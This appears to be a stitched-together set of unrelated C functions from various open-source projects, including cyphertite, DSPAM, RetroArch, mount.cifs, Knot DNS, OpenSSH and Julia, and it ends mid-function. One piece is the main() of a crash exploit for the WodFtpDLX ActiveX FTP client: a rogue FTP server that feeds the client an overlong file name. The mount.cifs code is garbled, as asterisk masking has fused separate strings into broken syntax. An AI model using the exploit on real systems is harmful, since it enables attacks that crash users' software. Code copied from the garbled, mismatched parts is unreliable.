int
ct_compare_secrets(struct ct_global_state *state, struct ct_op *op)
{
struct ct_ctfileop_args *cca = op->op_args;
FILE *f, *tf;
char temp_path[PATH_MAX];
struct stat sb, tsb;
char buf[1024], tbuf[1024];
size_t rsz;
off_t sz;
int ret = 0, s_errno = 0;
/* cachedir is '/' terminated */
strlcpy(temp_path, cca->cca_tdir, sizeof(temp_path));
strlcat(temp_path, cca->cca_localname, sizeof(temp_path));
if (stat(state->ct_config->ct_crypto_secrets, &sb) != 0) {
s_errno = errno;
ret = CTE_ERRNO;
CWARNX("\"%s\": %s", state->ct_config->ct_crypto_secrets,
ct_strerror(ret));
goto free;
}
if (stat(temp_path, &tsb) != 0) {
s_errno = errno;
ret = CTE_ERRNO;
CWARNX("\"%s\": %s", temp_path, ct_strerror(ret));
goto free;
}
/* Compare size first */
if (tsb.st_size != sb.st_size) {
ret = CTE_SECRETS_FILE_SIZE_MISMATCH;
CWARNX("%" PRId64 " vs %" PRId64 ": %s", (int64_t)tsb.st_size,
(int64_t)sb.st_size, ct_strerror(ret));
goto free;
}
if ((f = ct_fopen(state->ct_config->ct_crypto_secrets, "rb")) == NULL) {
s_errno = errno;
ret = CTE_ERRNO;
CWARNX("\"%s\": %s", state->ct_config->ct_crypto_secrets,
ct_strerror(ret));
goto free;
}
if ((tf = ct_fopen(temp_path, "rb")) == NULL) {
s_errno = errno;
ret = CTE_ERRNO;
CWARNX("temp_path: %s", ct_strerror(ret));
goto close_current;
}
/* read then throw away */
unlink(temp_path);
while (sb.st_size > 0) {
sz = sb.st_size;
if (sz > 1024)
sz = 1024;
sb.st_size -= sz;
CNDBG(CT_LOG_FILE, "sz = %" PRId64 " remaining = %" PRId64,
(int64_t)sz, (int64_t)sb.st_size);
if ((rsz = fread(buf, 1, sz, f)) != sz) {
CNDBG(CT_LOG_CRYPTO, "short read on secrets file (%"
PRId64 " %" PRId64 ")", (int64_t)sz, (int64_t)rsz);
ret = CTE_SECRETS_FILE_SHORT_READ;
CWARNX("%s: %s", state->ct_config->ct_crypto_secrets,
ct_strerror(ret));
goto out;
}
if ((rsz = fread(tbuf, 1, sz, tf)) != sz) {
CNDBG(CT_LOG_CRYPTO, "short read on temporary secrets "
"file (%" PRId64 " %" PRId64 ")", (int64_t)sz,
(int64_t)rsz);
ret = CTE_SECRETS_FILE_SHORT_READ;
CWARNX("%s: %s", temp_path, ct_strerror(ret));
goto out;
}
if (memcmp(buf, tbuf, sz) != 0) {
ret = CTE_SECRETS_FILE_DIFFERS;
goto out;
}
}
out:
fclose(f);
close_current:
fclose(tf);
free:
e_free(&cca);
if (ret == CTE_ERRNO)
errno = s_errno;
return (ret);
}
char *
_ds_get_nextuser (DSPAM_CTX * CTX)
{
static char user[MAX_FILENAME_LENGTH];
static char path[MAX_FILENAME_LENGTH];
struct _hash_drv_storage *s = (struct _hash_drv_storage *) CTX->storage;
struct nt_node *node_nt, *prev;
struct nt_c c_nt;
char *x = NULL, *y;
DIR *dir = NULL;
struct dirent *entry;
if (s->dir_handles->items == 0)
{
char filename[MAX_FILENAME_LENGTH];
snprintf(filename, MAX_FILENAME_LENGTH, "%s/data", CTX->home);
dir = opendir (filename);
if (dir == NULL)
{
LOG (LOG_WARNING,
"unable to open directory '%s' for reading: %s",
CTX->home, strerror (errno));
return NULL;
}
nt_add (s->dir_handles, (void *) dir);
strlcpy (path, filename, sizeof (path));
}
else
{
node_nt = c_nt_first (s->dir_handles, &c_nt);
while (node_nt != NULL)
{
if (node_nt->next == NULL)
dir = (DIR *) node_nt->ptr;
node_nt = c_nt_next (s->dir_handles, &c_nt);
}
}
while ((entry = readdir (dir)) != NULL)
{
struct stat st;
char filename[MAX_FILENAME_LENGTH];
snprintf (filename, sizeof (filename), "%s/%s", path, entry->d_name);
if (!strcmp (entry->d_name, ".") || !strcmp (entry->d_name, ".."))
continue;
if (stat (filename, &st)) {
continue;
}
/* push a new directory */
if (st.st_mode & S_IFDIR)
{
DIR *ndir;
ndir = opendir (filename);
if (ndir == NULL)
continue;
strlcat (path, "/", sizeof (path));
strlcat (path, entry->d_name, sizeof (path));
nt_add (s->dir_handles, (void *) ndir);
return _ds_get_nextuser (CTX);
}
else if (strlen(entry->d_name)>4 &&
!strncmp ((entry->d_name + strlen (entry->d_name)) - 4, ".css", 4))
{
strlcpy (user, entry->d_name, sizeof (user));
user[strlen (user) - 4] = 0;
return user;
}
}
/* pop current directory */
y = strchr (path, '/');
while (y != NULL)
{
x = y;
y = strchr (x + 1, '/');
}
if (x)
x[0] = 0;
/* pop directory handle from list */
node_nt = c_nt_first (s->dir_handles, &c_nt);
prev = NULL;
while (node_nt != NULL)
{
if (node_nt->next == NULL)
{
dir = (DIR *) node_nt->ptr;
closedir (dir);
if (prev != NULL) {
prev->next = NULL;
s->dir_handles->insert = NULL;
}
else
s->dir_handles->first = NULL;
free (node_nt);
s->dir_handles->items--;
break;
}
prev = node_nt;
node_nt = c_nt_next (s->dir_handles, &c_nt);
}
if (s->dir_handles->items > 0)
return _ds_get_nextuser (CTX);
user[0] = 0;
return NULL;
}
/**
* video_shader_write_conf_cgp:
* @conf : Preset file to read from.
* @shader : Shader passes handle.
*
* Saves preset and all associated state (passes,
* textures, imports, etc) to disk.
**/
void video_shader_write_conf_cgp(config_file_t *conf,
struct video_shader *shader)
{
unsigned i;
config_set_int(conf, "shaders", shader->passes);
if (shader->feedback_pass >= 0)
config_set_int(conf, "feedback_pass", shader->feedback_pass);
for (i = 0; i < shader->passes; i++)
{
char key[64];
size_t tmp_size = PATH_MAX_LENGTH * sizeof(char);
char *tmp = (char*)malloc(PATH_MAX_LENGTH * sizeof(char));
const struct video_shader_pass *pass = &shader->pass[i];
key[0] = '\0';
snprintf(key, sizeof(key), "shader%u", i);
strlcpy(tmp, pass->source.path, tmp_size);
if (!path_is_absolute(tmp))
path_resolve_realpath(tmp, tmp_size);
config_set_string(conf, key, tmp);
free(tmp);
if (pass->filter != RARCH_FILTER_UNSPEC)
{
snprintf(key, sizeof(key), "filter_linear%u", i);
config_set_bool(conf, key, pass->filter == RARCH_FILTER_LINEAR);
}
snprintf(key, sizeof(key), "wrap_mode%u", i);
config_set_string(conf, key, wrap_mode_to_str(pass->wrap));
if (pass->frame_count_mod)
{
snprintf(key, sizeof(key), "frame_count_mod%u", i);
config_set_int(conf, key, pass->frame_count_mod);
}
snprintf(key, sizeof(key), "mipmap_input%u", i);
config_set_bool(conf, key, pass->mipmap);
snprintf(key, sizeof(key), "alias%u", i);
config_set_string(conf, key, pass->alias);
shader_write_fbo(conf, &pass->fbo, i);
}
if (shader->num_parameters)
{
size_t param_size = 4096 * sizeof(char);
char *parameters = (char*)malloc(4096 * sizeof(char));
parameters[0] = '\0';
strlcpy(parameters, shader->parameters[0].id, param_size);
for (i = 1; i < shader->num_parameters; i++)
{
/* O(n^2), but number of parameters is very limited. */
strlcat(parameters, ";", param_size);
strlcat(parameters, shader->parameters[i].id, param_size);
}
config_set_string(conf, "parameters", parameters);
for (i = 0; i < shader->num_parameters; i++)
config_set_float(conf, shader->parameters[i].id,
shader->parameters[i].current);
free(parameters);
}
if (shader->luts)
{
size_t tex_size = 4096 * sizeof(char);
char *textures = (char*)malloc(4096 * sizeof(char));
textures[0] = '\0';
strlcpy(textures, shader->lut[0].id, tex_size);
for (i = 1; i < shader->luts; i++)
{
/* O(n^2), but number of textures is very limited. */
strlcat(textures, ";", tex_size);
strlcat(textures, shader->lut[i].id, tex_size);
}
config_set_string(conf, "textures", textures);
free(textures);
for (i = 0; i < shader->luts; i++)
{
char key[64];
key[0] = '\0';
config_set_string(conf, shader->lut[i].id, shader->lut[i].path);
if (shader->lut[i].filter != RARCH_FILTER_UNSPEC)
{
snprintf(key, sizeof(key), "%s_linear", shader->lut[i].id);
config_set_bool(conf, key,
shader->lut[i].filter == RARCH_FILTER_LINEAR);
}
snprintf(key, sizeof(key),
"%s_wrap_mode", shader->lut[i].id);
config_set_string(conf, key,
wrap_mode_to_str(shader->lut[i].wrap));
snprintf(key, sizeof(key),
"%s_mipmap", shader->lut[i].id);
config_set_bool(conf, key,
shader->lut[i].mipmap);
}
}
if (*shader->script_path)
config_set_string(conf, "import_script", shader->script_path);
if (*shader->script_class)
config_set_string(conf, "import_script_class", shader->script_class);
if (shader->variables)
{
size_t var_tmp = 4096 * sizeof(char);
char *variables = (char*)malloc(4096 * sizeof(char));
variables[0] = '\0';
strlcpy(variables, shader->variable[0].id, var_tmp);
for (i = 1; i < shader->variables; i++)
{
strlcat(variables, ";", var_tmp);
strlcat(variables, shader->variable[i].id, var_tmp);
}
config_set_string(conf, "imports", variables);
for (i = 0; i < shader->variables; i++)
shader_write_variable(conf, &shader->variable[i]);
free(variables);
}
}
int main(int argc,char **argv){
SOCKET sock, client;
struct sockaddr_in sock_addr,client_addr;
WSADATA data;
WORD p;
char mess[4096], received[512], addr[32];
int lun, n, i, err;
HANDLE fileListH;
DWORD fileListId, exitCode;
printf("------------------------------------------------------------------------------\r\n");
printf("WodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit\r\n");
printf("\t\t\tcreated by Komrade\r\n\r\n");
printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
printf("\t\tweb: http://unsecure.altervista.org\r\n");
printf("------------------------------------------------------------------------------\r\n\r\n");
if (((argc != 2) || (strcmp(argv[1], "-l") != 0)) && ((argc != 3) || (strcmp(argv[1], "-r") != 0))){
printf("Usage: WodFtpCrash [-l] [-r server IP]\r\n\r\n");
printf("Options:\r\n");
printf(" -l\t\texecuted locally.\r\n");
printf(" -r server IP\texecuted remotely. You need to specify the address of the\r\n");
printf("\t\tFTP server for the PASV command (Insert your IP address)\r\n");
printf("\r\nExamples:\r\n");
printf(" wodftpcrash -l\t\t\texecuted locally\r\n");
printf(" wodftpCrash -r 10.0.0.1\texecuted remotely\r\n");
return 0;
}
if(strcmp(argv[1], "-r") == 0){
char *token[4];
token[0]=strtok(argv[2], ".");
for(i = 1; i < 4; i++){
token[i]=strtok(NULL, ".");
}
strcpy(addr, "\0");
for(i=0; (i < 4) && (token[i]!= NULL); i++){
strlcat(addr, token[i], 16);
strcat(addr, ",");
}
}
else
strcpy(addr, "127,0,0,1,");
p = MAKEWORD(2, 0);
WSAStartup(p, &data);
sock=socket(PF_INET,SOCK_STREAM,0);
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(FTP_PORT);
sock_addr.sin_addr.s_addr=INADDR_ANY;
err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
if (err < 0){
printf("Error in bind(). Port may be in use\r\n");
return -1;
}
err = listen(sock,1);
if (err < 0){
printf("Error in listen()\r\n");
return -1;
}
lun = sizeof (struct sockaddr);
printf("Opening the FTP port and waiting for connections...\r\n");
client = accept(sock, (struct sockaddr*)&client_addr, &lun);
printf("Client connected from IP: %s\r\n\r\n", inet_ntoa(client_addr.sin_addr));
strcpy(mess, "220 WodFtpDlx ActiveX Control Crash Exploit\r\n");
n=send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
while(wait == TRUE){
Sleep(800);
n = recv(client, received, sizeof(mess), 0);
if (n < 0){
printf("Error in recv()\r\n");
return -1;
}
received[n]=0;
printf("CLIENT: %s", received);
if (stricmp("USER", strtok(received, " ")) == 0)
strcpy(mess, "331 Anonymous access allowed, send password.\r\n");
else if (stricmp("PASS", strtok(received, " ")) == 0)
strcpy(mess, "230 Anonymous user logged in.\r\n");
else if (stricmp("PWD\r\n", received) == 0)
strcpy(mess, "257 \"/\" is current directory.\r\n");
else if (stricmp("CWD", strtok(received, " ")) == 0)
strcpy(mess, "257 \"/\" is current directory.\r\n");
else if (stricmp("TYPE", strtok(received, " ")) == 0)
strcpy(mess, "200 Type set to A.\r\n");
else if (stricmp("PASV\r\n", received) == 0){
fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);
if (fileListH == NULL)
printf("Error in CreateThread() %d", GetLastError());
wsprintf(mess, "227 Entering Passive Mode (%s4,82).\r\n", addr);
}
else if (stricmp("LIST", strtok(received, " ")) == 0 || stricmp("LIST\r\n", received) == 0){
strcpy(mess, "125 Data connection already open; Transfer starting.\r\n");
printf("SERVER: %s\r\n", mess);
n=send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
wait = FALSE;
do{
GetExitCodeThread(fileListH, &exitCode);
Sleep(100);
}
while(exitCode == STILL_ACTIVE);
printf("< Long file name sent to client >\r\n\r\n");
strcpy(mess, "226 Transfer complete.\r\n");
}
else
strcpy(mess, "550 Unimplemented\r\n");
printf("SERVER: %s\r\n", mess);
n = send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
}
printf("Wait.......");
Sleep(2000);
printf("Exploit succesfully sent!\r\n");
closesocket (client);
closesocket(sock);
WSACleanup();
return 0;
}
int
make_policy(char **type, char **data, int count, char **presult, int derive)
{
static char result[4096];
char one[2048];
int i;
int nfilename, isfilename;
result[0] = '\0';
nfilename = 0;
for (i = 0; i < count; i++) {
isfilename = 0;
/* Special case for non existing filenames */
if (strstr(data[i], "<non-existent filename>") != NULL) {
snprintf(result, sizeof(result),
"filename%s sub \"<non-existent filename>\" then deny[enoent]", i ? "[1]" : "");
break;
}
if (!strcmp(type[i], "uid") || !strcmp(type[i], "gid") ||
!strcmp(type[i], "argv"))
continue;
/* Special case for system calls with more than one filename */
if (!strcmp(type[i], "filename")) {
isfilename = 1;
nfilename++;
}
if (strlen(result)) {
if (strlcat(result, " and ", sizeof(result)) >= sizeof(result))
return (-1);
}
/* Special treatment for filenames */
if (isfilename) {
char filename[2048];
char *operator = "eq";
if (derive) {
operator = "match";
snprintf(filename, sizeof(filename),
"%s/*", dirname(data[i]));
} else
strlcpy(filename, data[i], sizeof(filename));
/* Make useful replacements */
while (strrpl(filename, sizeof(filename),
home, "$HOME") != NULL)
;
while (strrpl(filename, sizeof(filename),
username, "$USER") != NULL)
;
snprintf(one, sizeof(one), "%s%s %s \"%s\"",
type[i], isfilename && nfilename == 2 ? "[1]" : "",
operator, filename);
} else {
snprintf(one, sizeof(one), "%s eq \"%s\"",
type[i], data[i]);
}
if (strlcat(result, one, sizeof(result)) >= sizeof(result))
return (-1);;
}
if (!strlen(result))
return (-1);
/* Normal termination */
if (i == count)
strlcat(result, " then permit", sizeof(result));
*presult = result;
return (nfilename);
}
int main(int argc, char ** argv)
{
int c;
int flags = MS_MANDLOCK; /* no need to set legacy MS_MGC_VAL */
char * orgoptions = NULL;
char * share_name = NULL;
char * ipaddr = NULL;
char * uuid = NULL;
char * mountpoint = NULL;
char * options = NULL;
char * resolved_path = NULL;
char * temp;
int rc;
int rsize = 0;
int wsize = 0;
int nomtab = 0;
int uid = 0;
int gid = 0;
int optlen = 0;
int orgoptlen = 0;
size_t options_size = 0;
int retry = 0; /* set when we have to retry mount with uppercase */
struct stat statbuf;
struct utsname sysinfo;
struct mntent mountent;
FILE * pmntfile;
/* setlocale(LC_ALL, "");
bindtextdomain(PACKAGE, LOCALEDIR);
textdomain(PACKAGE); */
if(argc && argv) {
thisprogram = argv[0];
} else {
mount_cifs_usage();
exit(1);
}
if(thisprogram == NULL)
thisprogram = "mount.cifs";
uname(&sysinfo);
/* BB add workstation name and domain and pass down */
/* #ifdef _GNU_SOURCE
printf(" node: %s machine: %s sysname %s domain %s\n", sysinfo.nodename,sysinfo.machine,sysinfo.sysname,sysinfo.domainname);
#endif */
if(argc > 2) {
share_name = argv[1];
mountpoint = argv[2];
}
/* add sharename in opts string as unc= parm */
while ((c = getopt_long (argc, argv, "afFhilL:no:O:rsSU:vVwt:",
longopts, NULL)) != -1) {
switch (c) {
/* No code to do the following options yet */
/* case 'l':
list_with_volumelabel = 1;
break;
case 'L':
volumelabel = optarg;
break; */
/* case 'a':
++mount_all;
break; */
case '?':
case 'h': /* help */
mount_cifs_usage ();
exit(1);
case 'n':
++nomtab;
break;
case 'b':
#ifdef MS_BIND
flags |= MS_BIND;
#else
fprintf(stderr,
"option 'b' (MS_BIND) not supported\n");
#endif
break;
case 'm':
#ifdef MS_MOVE
flags |= MS_MOVE;
#else
fprintf(stderr,
"option 'm' (MS_MOVE) not supported\n");
#endif
break;
case 'o':
orgoptions = strdup(optarg);
break;
case 'r': /* mount readonly */
flags |= MS_RDONLY;
break;
case 'U':
uuid = optarg;
break;
case 'v':
++verboseflag;
break;
case 'V':
printf ("mount.cifs version: %s.%s%s\n",
MOUNT_CIFS_VERSION_MAJOR,
MOUNT_CIFS_VERSION_MINOR,
MOUNT_CIFS_VENDOR_SUFFIX);
if(mountpassword) {
memset(mountpassword,0,64);
}
exit (0);
case 'w':
flags &= ~MS_RDONLY;
break;
case 'R':
rsize = atoi(optarg) ;
break;
case 'W':
wsize = atoi(optarg);
break;
case '1':
if (isdigit(*optarg)) {
char *ep;
uid = strtoul(optarg, &ep, 10);
if (*ep) {
printf("bad uid value \"%s\"\n", optarg);
exit(1);
}
} else {
struct passwd *pw;
if (!(pw = getpwnam(optarg))) {
printf("bad user name \"%s\"\n", optarg);
exit(1);
}
uid = pw->pw_uid;
endpwent();
}
break;
case '2':
if (isdigit(*optarg)) {
char *ep;
gid = strtoul(optarg, &ep, 10);
if (*ep) {
printf("bad gid value \"%s\"\n", optarg);
exit(1);
}
} else {
struct group *gr;
if (!(gr = getgrnam(optarg))) {
printf("bad user name \"%s\"\n", optarg);
exit(1);
}
gid = gr->gr_gid;
endpwent();
}
break;
case 'u':
got_user = 1;
user_name = optarg;
break;
case 'd':
domain_name = optarg; /* BB fix this - currently ignored */
got_domain = 1;
break;
case 'p':
if(mountpassword == NULL)
mountpassword = (char *)calloc(65,1);
if(mountpassword) {
got_password = 1;
strncpy(mountpassword,optarg,64);
}
break;
case 'S':
get_password_from_file(0 /* stdin */,NULL);
break;
case 't':
break;
default:
printf("unknown mount option %c\n",c);
mount_cifs_usage();
exit(1);
}
}
if((argc < 3) || (share_name == NULL) || (mountpoint == NULL)) {
mount_cifs_usage();
exit(1);
}
if (getenv("PASSWD")) {
if(mountpassword == NULL)
mountpassword = (char *)calloc(65,1);
if(mountpassword) {
strncpy(mountpassword,getenv("PASSWD"),64);
got_password = 1;
}
} else if (getenv("PASSWD_FD")) {
get_password_from_file(atoi(getenv("PASSWD_FD")),NULL);
} else if (getenv("PASSWD_FILE")) {
get_password_from_file(0, getenv("PASSWD_FILE"));
}
if (orgoptions && parse_options(&orgoptions, &flags)) {
rc = -1;
goto mount_exit;
}
ipaddr = parse_server(&share_name);
if((ipaddr == NULL) && (got_ip == 0)) {
printf("No ip address specified and hostname not found\n");
rc = -1;
goto mount_exit;
}
/* BB save off path and pop after mount returns? */
resolved_path = (char *)malloc(PATH_MAX+1);
if(resolved_path) {
/* Note that if we can not canonicalize the name, we get
another chance to see if it is valid when we chdir to it */
if (realpath(mountpoint, resolved_path)) {
mountpoint = resolved_path;
}
}
if(chdir(mountpoint)) {
printf("mount error: can not change directory into mount target %s\n",mountpoint);
rc = -1;
goto mount_exit;
}
if(stat (".", &statbuf)) {
printf("mount error: mount point %s does not exist\n",mountpoint);
rc = -1;
goto mount_exit;
}
if (S_ISDIR(statbuf.st_mode) == 0) {
printf("mount error: mount point %s is not a directory\n",mountpoint);
rc = -1;
goto mount_exit;
}
if((getuid() != 0) && (geteuid() == 0)) {
if((statbuf.st_uid == getuid()) && (S_IRWXU == (statbuf.st_mode & S_IRWXU))) {
#ifndef CIFS_ALLOW_USR_SUID
/* Do not allow user mounts to control suid flag
for mount unless explicitly built that way */
flags |= MS_NOSUID | MS_NODEV;
#endif
} else {
printf("mount error: permission denied or not superuser and mount.cifs not installed SUID\n");
return -1;
}
}
if(got_user == 0) {
user_name = getusername();
got_user = 1;
}
if(got_password == 0) {
char *tmp_pass;
tmp_pass = getpass("Password: "******"Password not entered, exiting.\n");
return -1;
}
strncpy(mountpassword, tmp_pass, 64);
got_password = 1;
}
/* FIXME launch daemon (handles dfs name resolution and credential change)
remember to clear parms and overwrite password field before launching */
mount_retry:
if(orgoptions) {
optlen = strlen(orgoptions);
orgoptlen = optlen;
} else
optlen = 0;
if(share_name)
optlen += strlen(share_name) + 4;
else {
printf("No server share name specified\n");
printf("\nMounting the DFS root for server not implemented yet\n");
exit(1);
}
if(user_name)
optlen += strlen(user_name) + 6;
if(ipaddr)
optlen += strlen(ipaddr) + 4;
if(mountpassword)
optlen += strlen(mountpassword) + 6;
if(options) {
free(options);
options = NULL;
}
options_size = optlen + 10 + 64;
options = (char *)malloc(options_size /* space for commas in password */ + 8 /* space for domain= , domain name itself was counted as part of the length username string above */);
if(options == NULL) {
printf("Could not allocate memory for mount options\n");
return -1;
}
options[0] = 0;
strlcpy(options,"unc=",options_size);
strlcat(options,share_name,options_size);
/* scan backwards and reverse direction of slash */
temp = strrchr(options, '/');
if(temp > options + 6)
*temp = '\\';
if(ipaddr) {
strlcat(options,",ip=",options_size);
strlcat(options,ipaddr,options_size);
}
if(user_name) {
/* check for syntax like user=domain\user */
if(got_domain == 0)
domain_name = check_for_domain(&user_name);
strlcat(options,",user="******",domain=",options_size);
strlcat(options,domain_name,options_size);
}
}
if(mountpassword) {
/* Commas have to be doubled, or else they will
look like the parameter separator */
/* if(sep is not set)*/
if(retry == 0)
check_for_comma(&mountpassword);
strlcat(options,",pass="******",ver=",options_size);
strlcat(options,MOUNT_CIFS_VERSION_MAJOR,options_size);
if(orgoptions) {
strlcat(options,",",options_size);
strlcat(options,orgoptions,options_size);
}
if(prefixpath) {
strlcat(options,",prefixpath=",options_size);
strlcat(options,prefixpath,options_size); /* no need to cat the / */
}
if(verboseflag)
printf("\nmount.cifs kernel mount options %s \n",options);
if(mount(share_name, mountpoint, "cifs", flags, options)) {
/* remember to kill daemon on error */
char * tmp;
switch (errno) {
case 0:
printf("mount failed but no error number set\n");
break;
case ENODEV:
printf("mount error: cifs filesystem not supported by the system\n");
break;
case ENXIO:
if(retry == 0) {
retry = 1;
tmp = share_name;
while (*tmp && !(((unsigned char)tmp[0]) & 0x80)) {
*tmp = toupper((unsigned char)*tmp);
tmp++;
}
if(!*tmp) {
printf("retrying with upper case share name\n");
goto mount_retry;
}
}
default:
printf("mount error %d = %s\n",errno,strerror(errno));
}
printf("Refer to the mount.cifs(8) manual page (e.g.man mount.cifs)\n");
rc = -1;
goto mount_exit;
} else {
pmntfile = setmntent(MOUNTED, "a+");
if(pmntfile) {
mountent.mnt_fsname = share_name;
mountent.mnt_dir = mountpoint;
mountent.mnt_type = CONST_DISCARD(char *,"cifs");
mountent.mnt_opts = (char *)malloc(220);
if(mountent.mnt_opts) {
char * mount_user = getusername();
memset(mountent.mnt_opts,0,200);
if(flags & MS_RDONLY)
strlcat(mountent.mnt_opts,"ro",220);
else
strlcat(mountent.mnt_opts,"rw",220);
if(flags & MS_MANDLOCK)
strlcat(mountent.mnt_opts,",mand",220);
if(flags & MS_NOEXEC)
strlcat(mountent.mnt_opts,",noexec",220);
if(flags & MS_NOSUID)
strlcat(mountent.mnt_opts,",nosuid",220);
if(flags & MS_NODEV)
strlcat(mountent.mnt_opts,",nodev",220);
if(flags & MS_SYNCHRONOUS)
strlcat(mountent.mnt_opts,",synch",220);
if(mount_user) {
if(getuid() != 0) {
strlcat(mountent.mnt_opts,",user="******"could not update mount table\n");
}
}
static void print_header(const knot_pkt_t *packet, const style_t *style,
const uint16_t ext_rcode)
{
char flags[64] = "";
uint8_t opcode_id;
const char *rcode_str = "Unknown";
const char *opcode_str = "Unknown";
lookup_table_t *rcode, *opcode;
// Get RCODE from Header and check for Extended RCODE from OPT RR.
rcode = lookup_by_id(knot_rcode_names, ext_rcode);
if (rcode != NULL) {
rcode_str = rcode->name;
}
// Get OPCODE.
opcode_id = knot_wire_get_opcode(packet->wire);
opcode = lookup_by_id(knot_opcode_names, opcode_id);
if (opcode != NULL) {
opcode_str = opcode->name;
}
// Get flags.
size_t flags_rest = sizeof(flags);
const size_t flag_len = 4;
if (knot_wire_get_qr(packet->wire) != 0 && flags_rest > flag_len) {
flags_rest -= strlcat(flags, " qr", flags_rest);
}
if (knot_wire_get_aa(packet->wire) != 0 && flags_rest > flag_len) {
flags_rest -= strlcat(flags, " aa", flags_rest);
}
if (knot_wire_get_tc(packet->wire) != 0 && flags_rest > flag_len) {
flags_rest -= strlcat(flags, " tc", flags_rest);
}
if (knot_wire_get_rd(packet->wire) != 0 && flags_rest > flag_len) {
flags_rest -= strlcat(flags, " rd", flags_rest);
}
if (knot_wire_get_ra(packet->wire) != 0 && flags_rest > flag_len) {
flags_rest -= strlcat(flags, " ra", flags_rest);
}
if (knot_wire_get_z(packet->wire) != 0 && flags_rest > flag_len) {
flags_rest -= strlcat(flags, " z", flags_rest);
}
if (knot_wire_get_ad(packet->wire) != 0 && flags_rest > flag_len) {
flags_rest -= strlcat(flags, " ad", flags_rest);
}
if (knot_wire_get_cd(packet->wire) != 0 && flags_rest > flag_len) {
strlcat(flags, " cd", flags_rest);
}
uint16_t id = knot_wire_get_id(packet->wire);
uint16_t qdcount = knot_wire_get_qdcount(packet->wire);
uint16_t ancount = knot_wire_get_ancount(packet->wire);
uint16_t nscount = knot_wire_get_nscount(packet->wire);
uint16_t arcount = knot_wire_get_arcount(packet->wire);
if (knot_pkt_has_tsig(packet)) {
arcount++;
}
// Print formatted info.
switch (style->format) {
case FORMAT_NSUPDATE:
printf(";; ->>HEADER<<- opcode: %s; status: %s; id: %u\n"
";; Flags:%1s; "
"ZONE: %u; PREREQ: %u; UPDATE: %u; ADDITIONAL: %u\n",
opcode_str, rcode_str, id, flags, qdcount, ancount,
nscount, arcount);
break;
default:
printf(";; ->>HEADER<<- opcode: %s; status: %s; id: %u\n"
";; Flags:%1s; "
"QUERY: %u; ANSWER: %u; AUTHORITY: %u; ADDITIONAL: %u\n",
opcode_str, rcode_str, id, flags, qdcount, ancount,
nscount, arcount);
break;
}
}
static int
sshpam_query(void *ctx, char **name, char **info,
u_int *num, char ***prompts, u_int **echo_on)
{
Buffer buffer;
struct pam_ctxt *ctxt = ctx;
size_t plen;
u_char type;
char *msg;
size_t len, mlen;
debug3("PAM: %s entering", __func__);
buffer_init(&buffer);
*name = xstrdup("");
*info = xstrdup("");
*prompts = xmalloc(sizeof(char *));
**prompts = NULL;
plen = 0;
*echo_on = xmalloc(sizeof(u_int));
while (ssh_msg_recv(ctxt->pam_psock, &buffer) == 0) {
type = buffer_get_char(&buffer);
msg = buffer_get_string(&buffer, NULL);
mlen = strlen(msg);
switch (type) {
case PAM_PROMPT_ECHO_ON:
case PAM_PROMPT_ECHO_OFF:
*num = 1;
len = plen + mlen + 1;
**prompts = xreallocarray(**prompts, 1, len);
strlcpy(**prompts + plen, msg, len - plen);
plen += mlen;
**echo_on = (type == PAM_PROMPT_ECHO_ON);
free(msg);
return (0);
case PAM_ERROR_MSG:
case PAM_TEXT_INFO:
/* accumulate messages */
len = plen + mlen + 2;
**prompts = xreallocarray(**prompts, 1, len);
strlcpy(**prompts + plen, msg, len - plen);
plen += mlen;
strlcat(**prompts + plen, "\n", len - plen);
plen++;
free(msg);
break;
case PAM_ACCT_EXPIRED:
sshpam_account_status = 0;
/* FALLTHROUGH */
case PAM_AUTH_ERR:
debug3("PAM: %s", pam_strerror(sshpam_handle, type));
if (**prompts != NULL && strlen(**prompts) != 0) {
*info = **prompts;
**prompts = NULL;
*num = 0;
**echo_on = 0;
ctxt->pam_done = -1;
free(msg);
return 0;
}
/* FALLTHROUGH */
case PAM_SUCCESS:
if (**prompts != NULL) {
/* drain any accumulated messages */
debug("PAM: %s", **prompts);
buffer_append(&loginmsg, **prompts,
strlen(**prompts));
free(**prompts);
**prompts = NULL;
}
if (type == PAM_SUCCESS) {
if (!sshpam_authctxt->valid ||
(sshpam_authctxt->pw->pw_uid == 0 &&
options.permit_root_login != PERMIT_YES))
fatal("Internal error: PAM auth "
"succeeded when it should have "
"failed");
import_environments(&buffer);
*num = 0;
**echo_on = 0;
ctxt->pam_done = 1;
free(msg);
return (0);
}
error("PAM: %s for %s%.100s from %.100s", msg,
sshpam_authctxt->valid ? "" : "illegal user ",
sshpam_authctxt->user,
get_remote_name_or_ip(utmp_len, options.use_dns));
/* FALLTHROUGH */
default:
*num = 0;
**echo_on = 0;
free(msg);
ctxt->pam_done = -1;
return (-1);
}
}
return (-1);
}
void jl_getDylibFunctionInfo(const char **name, int *line, const char **filename, size_t pointer, int skipC)
{
#ifdef _OS_WINDOWS_
DWORD fbase = SymGetModuleBase64(GetCurrentProcess(),(DWORD)pointer);
if (fbase != 0) {
#else
Dl_info dlinfo;
if ((dladdr((void*)pointer, &dlinfo) != 0) && dlinfo.dli_fname) {
if (skipC && !jl_is_sysimg(dlinfo.dli_fname))
return;
uint64_t fbase = (uint64_t)dlinfo.dli_fbase;
#endif
obfiletype::iterator it = objfilemap.find(fbase);
llvm::object::ObjectFile *obj = NULL;
DIContext *context = NULL;
int64_t slide = 0;
if (it == objfilemap.end()) {
#ifdef _OS_DARWIN_
// First find the uuid of the object file (we'll use this to make sure we find the
// correct debug symbol file).
uint8_t uuid[16], uuid2[16];
#ifdef LLVM35
ErrorOr<llvm::object::ObjectFile*> origerrorobj = llvm::object::ObjectFile::createObjectFile(
#else
llvm::object::ObjectFile *origerrorobj = llvm::object::ObjectFile::createObjectFile(
#endif
MemoryBuffer::getMemBuffer(
StringRef((const char *)fbase, (size_t)(((uint64_t)-1)-fbase)),"",false)
#ifdef LLVM35
,false, sys::fs::file_magic::unknown
#endif
);
if (!origerrorobj) {
objfileentry_t entry = {obj,context,slide};
objfilemap[fbase] = entry;
return;
}
#ifdef LLVM35
